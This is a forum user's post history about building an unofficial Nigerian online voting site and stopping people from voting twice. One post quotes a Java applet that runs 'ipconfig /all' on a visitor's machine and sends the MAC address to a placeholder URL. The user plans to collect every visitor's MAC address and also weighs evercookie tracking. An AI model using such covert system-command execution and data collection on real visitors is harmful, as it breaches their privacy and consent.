₦airaland Forum

Welcome, Guest: RegisterLoginWith GoogleTrendingRecentNew

Stats: 3,325,273 members, 8,421,103 topics. Date: Friday, 05 June 2026 at 07:05 PM

Toggle theme

Internetvote's Posts

Nairaland ForumInternetvote's ProfileInternetvote's Posts

1 (of 1 pages)

ProgrammingRe: Let's Develop A Superb Online Polling Unit by internetvote:
guru01:
With telize you can get the city and country check their doc
See what I got in the screenshot with telize for this IP address: 82.128.118.0
It shows the country but no city no state.

Try the same ip address here with my-ip-address-is: http://www.my-ip-address-is.com/ip/82.128.118.0
you will see it displays the city and state.

ProgrammingRe: Let's Develop A Superb Online Polling Unit by internetvote: 6:27pm On Feb 01, 2015
.
ProgrammingRe: Let's Develop A Superb Online Polling Unit by internetvote:
guru01:
Try www.telize.com
Thanks for the link, I have already tried their JASON api but did not get the name of the state or city.

Try http://www.my-ip-address-is.com/ with any Nigerian IP address it will show you the name of the city and state. I would love to get the api they are using.
ProgrammingRe: Let's Develop A Superb Online Polling Unit by internetvote: 12:26pm On Jan 31, 2015
guru01:
just got this idea before I slept. Try and limit the ip address to be from Nigeria. This way you will prevent the use of proxy and vpn.
If you implement this successfully, you can now run the if statement by checking other criteria.
Also use ajax for submitting the result and prevent direct access to call the file processing the result. grin
I have seen some sites that can give you the region of any ip address. What I need now is where to get a good api for doing such, the free ones around are no good for finding Nigerian state regions by the ip address.
ProgrammingRe: Let's Develop A Superb Online Polling Unit by internetvote: 12:20pm On Jan 31, 2015
guru01:
You can include other measure:
Like put an endless waiting time after voting,, if they change ip your can check for cookie or session, if they clear them also check if its from a different browser header, if they use another browser check for location latitude and longitude....
Enough said for security reasons
Best way is to get the mac address of the device and this can be done with a Java applet.
ProgrammingRe: Let's Develop A Superb Online Polling Unit by internetvote: 12:17pm On Jan 31, 2015
blenyo11:
Hmmmm.
2ru talk.
Project closed
Project reopened grin. The way around the db owner manipulating the vote is to send the votes to an independent panel at the same time they are been sent to the database, so if the db owner should tamper with the votes alarm bell can start ringing.
ProgrammingRe: Let's Develop A Superb Online Polling Unit by internetvote: 11:17pm On Jan 30, 2015
guru01:
Seems most of our are thinking of using existing tool/script.
Am talking about building from scratch to fix all the loopholes.
I have thought of 5 ways to restrict voting to one man one vote.
I built this application from scratch. All that is left is restricting voters from voting twice and to use their ip address to make sure they can only vote from their state.
ProgrammingRe: Let's Develop A Superb Online Polling Unit by internetvote:
codeaddict:
Could be done in minutes. undecided
The issue is credibility.
We can even do it in seconds. http://www.nairavote.com
All that is left now is a way to restrict voters to one vote, one device and to their state.
ProgrammingRe: Collaborators Wanted For This Online Voting Application by internetvote(op): 5:31pm On Dec 25, 2014
Collaborators wanted to help make online voters to be restricted to voting from their state only and a way to identity the device a voter is using to prevent re-voting with the same device.
SportsRe: Nigeria Vs South Africa: AFCON Qualifier (2 - 2) On 19th November 2014 by internetvote: 8:07pm On Nov 19, 2014
The action continues online. You can now cast you vote online for fun at: http://www.nairavote.com
ProgrammingRe: Collaborators Wanted For This Online Voting Application by internetvote(op): 6:30pm On Nov 18, 2014
internetpo:
Get someone to help you write a proposal, search google for their websites n addresses, attend any of their meetings/ press conferences (they holding a lot of them recently). Hard work of course but the pay at the end of d day is gonna b huge.
Nice advice bro. Any chance you and I can go into partnership? I do the coding and you bring the investors in, how about that?
ProgrammingRe: Collaborators Wanted For This Online Voting Application by internetvote(op): 5:11pm On Nov 17, 2014
internetpo:
Nice project. I love this.
take note of th eadvice by naijatechworld and Iamgodzilla!

pretty impresive project I must say going places.
Have you written to NGOS and civil society organisations for sponsorship/adoption of the site?

Why is this not on the frontpage by the way. angry angry angry
Thanks for dropping your comment. Yeah the advice of naijatechworld and Iamgodzilla can be taken care of once I get the interest of the organisations you suggested. Though I'm not sure of how to get them interested.
PoliticsRe: Internet Presidential Election GEJ vs GMB by internetvote(op): 3:44pm On Nov 11, 2014
Rilwayne001:
undecided undecided
Komot for here abegg angry
Internet voting is here to stay, better cast your vote now.
ProgrammingRe: Collaborators Wanted For This Online Voting Application by internetvote(op):
WhiZTiM:
* You aren't dealing with raw sockets are you?
Even so... how the hell, are you gonna get the MAC Address of a User using HTTP over layers of TCP/IP routing and NAT? ...I want to learn ohh...

Regards,
Timothy
Phew! You really went into great detail, thank you so much for taking your time to do so.

My aim is not to scare voters off, that is the reason I want to avoid any form of registration unless it is to be used for a real election.

I have found two options for now to track voters so that they can only vote once even if a voter deletes the traditional HTTP cookie from their device.

The first is evercookies at http://samy.pl/evercookie http://en.wikipedia.org/wiki/Evercookie it is a JavaScript library which stores itself in multiple locations which makes it a difficult cookie to delete. But for ethical reasons I will have to inform the voters about this type of cookie, before they go ahead to vote.

The second is the Java Applet below at: http://diablohorn./2008/10/28/trusting-java-applets that can get the MAC address of a device, though I have not yet tried it, but this will be my preferred option if it works.


<HTML>
<HEAD>
<TITLE&gt;Get MacAddress Applet&lt;/TITLE>
</HEAD>
Get MacAddress applet<BR>
<applet code="GetMacAddress.class" archive="GetMacAddress.jar" width=1 height=1>
<PARAM NAME="BASEURL" VALUE="http://www.google.com/bleh=">
</applet>
</BODY>
</HTML>
So now for the example code of the “evil” applet.

import java.applet.Applet;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.net.URL;
import java.util.regex.Matcher;
import java.util.regex.Pattern;

/**
* This applet gets the mac address from a windows machine
* @author DiabloHorn
*/
public class GetMacAddress extends Applet {

/** Creates a new instance of GetMacAddress*/
public void init() {
try{
String macAddress = this.getMacAddress();
URL url = new URL(this.getParameter("BASEURL"wink+macAddress);
getAppletContext().showDocument(url, "_self"wink;
}catch(Exception e){
System.out.println(e);
}
}

public String getMacAddress() throws IOException {
String macAddress = null;
String command = "ipconfig /all";
Process pid = Runtime.getRuntime().exec(command);
BufferedReader in = new BufferedReader(new InputStreamReader(pid.getInputStream()));
while (true) {
String line = in.readLine();
if (line == null) {
break;
}

Pattern p = Pattern.compile(".*((:?[0-9a-f]{2}[-:]){5}[0-9a-f]{2}).*",Pattern.CASE_INSENSITIVE);
Matcher m = p.matcher(line);
if (m.matches()) {
macAddress = m.group(1);
break;
}
}
in.close();
return macAddress;
}
}
ProgrammingRe: Collaborators Wanted For This Online Voting Application by internetvote(op): 1:44pm On Nov 09, 2014
ghettodreamz:
Nice project @ Op. What lingo did you developed this with?
Keep it up!
Thx I will do my best to keep improving on it.
If I mention the language it was built with, it might start a language war here grin
ProgrammingRe: Collaborators Wanted For This Online Voting Application by internetvote(op):
mobolaji88:
thought as much, so its 4 d money..soon u're gona fill up the whole page with annoying ads ryt?
Anyway dear, making a project opensource doesnt mean u the creator becomes anonymous..no..infact u just become an indirect CEO with a huge employee base(though employees work voluntarily).
The linux OS is a typical example of how opensource can be a good thing..despite the fact that hundreds of people contribute to linux's development, the creator still get to claim the fame...
And opensourcing is 4 developers nt investors.
I posted it here for others to test and for their comments and contributions. Making it opensource at this stage when the voting application is 100% complete and fully functional is not really a good idea. Thought you will get my joke about making it opensource for investors.

Updated: If I want to pay you to come and work on this project will you say no grin
ProgrammingRe: Collaborators Wanted For This Online Voting Application by internetvote(op): 11:08am On Nov 08, 2014
mobolaji88:
Funny guy, a typical naija programmer..SMH 4 u
If you can assist to make it opensource for investors, then I'm in for that kind of opensource grin
ProgrammingRe: Collaborators Wanted For This Online Voting Application by internetvote(op): 11:02am On Nov 08, 2014
bambeolumide:
Infact, this are the people we indeed need to develop this country.
Keep it up bro, together we can change the world.
Thx for your kind words, we will surely get there one day and make our country naija to overtake countries like Japan.
ProgrammingRe: Collaborators Wanted For This Online Voting Application by internetvote(op):
mobolaji88:
Though i like your idea and i think it makes big sense, but i would love if you could opensource it! I can develop algorithms that will prevent VPN users without the need for registeration among other improvements. Also i think other guys can help a lot with the design and security also. Please opensource this project, cos if u do, u'l nt only get optimal functionalties but a huge trust base from nigerians.
Opensource! No O grin, I have already used complex algorithms for the voting functionality and the back-end SQL which I would like to retain as my own intellectual property. I will continue to improve on the application so that it can retrieve the MAC address of every device that visits this site as the MAC address of a device has no duplicate and it is unique to that device only.
ProgrammingRe: Collaborators Wanted For This Online Voting Application by internetvote(op):
mobolaji88:
This is fake and lacks public interest...your cookies are visible to js, your site is prone to vpn, and we dont even know who you are....how do we hold anyone accountable for misconduct? How can we tell if the Op or someone else is cheating? A e-voting like this needs a credible team of well known, neutral and trustable members not some guy in some corner...
Be rest assured that I'm a Nairalander who has a passion for building web applications. I will continue to make improvements on it to stop any form of cyber rigging. As this is a we application with no registration required, it will not be possible at present to make anyone accountable for misconduct, until we can make people to register like banks do.

You can help us build a team here so that this web application can become an acceptable way for us to vote in the future.
ProgrammingRe: Collaborators Wanted For This Online Voting Application by internetvote(op): 12:43am On Nov 07, 2014
africanaija:
Pretty cool, please keep up the good work.
Thx I will keep improving on it.
ProgrammingRe: Collaborators Wanted For This Online Voting Application by internetvote(op):
naijatechworld:
I like it but do you have any plans to make it secure it enough, that only Nigerians vote in it, as well as make sure that people don't vote twice and there are no bots or spammers vote in order to increase count for a particular party?
Thanks for the interest you have shown in this application. Yeah I can make it so that only Nigerians can vote in it, by checking the country's IP location to only allow voting in Nigeria. I will continue to improve the site to make ensure the other issues you raised will not occur.
ProgrammingRe: Collaborators Wanted For This Online Voting Application by internetvote(op):
IamGodzilla:
Errors: users can re vote, when you clear your browsers cache,history, cookie.... (Tackle this by saving ip address)

Error2: change of ip, enables re voting. For same user.( Tackle this, saving the ip or mac of the device, device type, location, and other information you can think of).

Keep it up.
Thx for your suggestions. Getting a visitor's MAC address will be the ultimate guarantee to uniquely identify a visitor, this I'm working on at present. Another alternative is the use browser fingerprinting but the device must have JavaScript enabled.
ProgrammingRe: Collaborators Wanted For This Online Voting Application by internetvote(op):
davidsmith8900:
I think it's nice. Do you plan on making a mobile app?
Thx. I will work on a mobile app version later.
ProgrammingRe: Collaborators Wanted For This Online Voting Application by internetvote(op):
dimensional:
Creative, let the e-voting commence Op spread voting portal via social media networks let know who gat it all GEJ vs GMB
Thanks for you comment. Please help spread the word.
ProgrammingCollaborators Wanted For This Online Voting Application by internetvote(op):
I have created this Online voting application for Nigerian at http://www.nairavote.com

I would like you to help me to test it and to suggest improvements.

Updated: Collaborators are welcomed

PoliticsRe: Internet Presidential Election GEJ vs GMB by internetvote(op): 8:07am On Nov 06, 2014
PDP is leading in the online voting, were are the APC voters?
PoliticsRe: Internet Presidential Election GEJ vs GMB by internetvote(op):
Remember one man one woman one device one vote
PoliticsInternet Presidential Election GEJ vs GMB by internetvote(op):
Online voting is on at: http://nairavote.com

Disclaimer: Please note that this is not an official Presidential Election

[size=15pt]No internet vote rigging please.[/size]

1 (of 1 pages)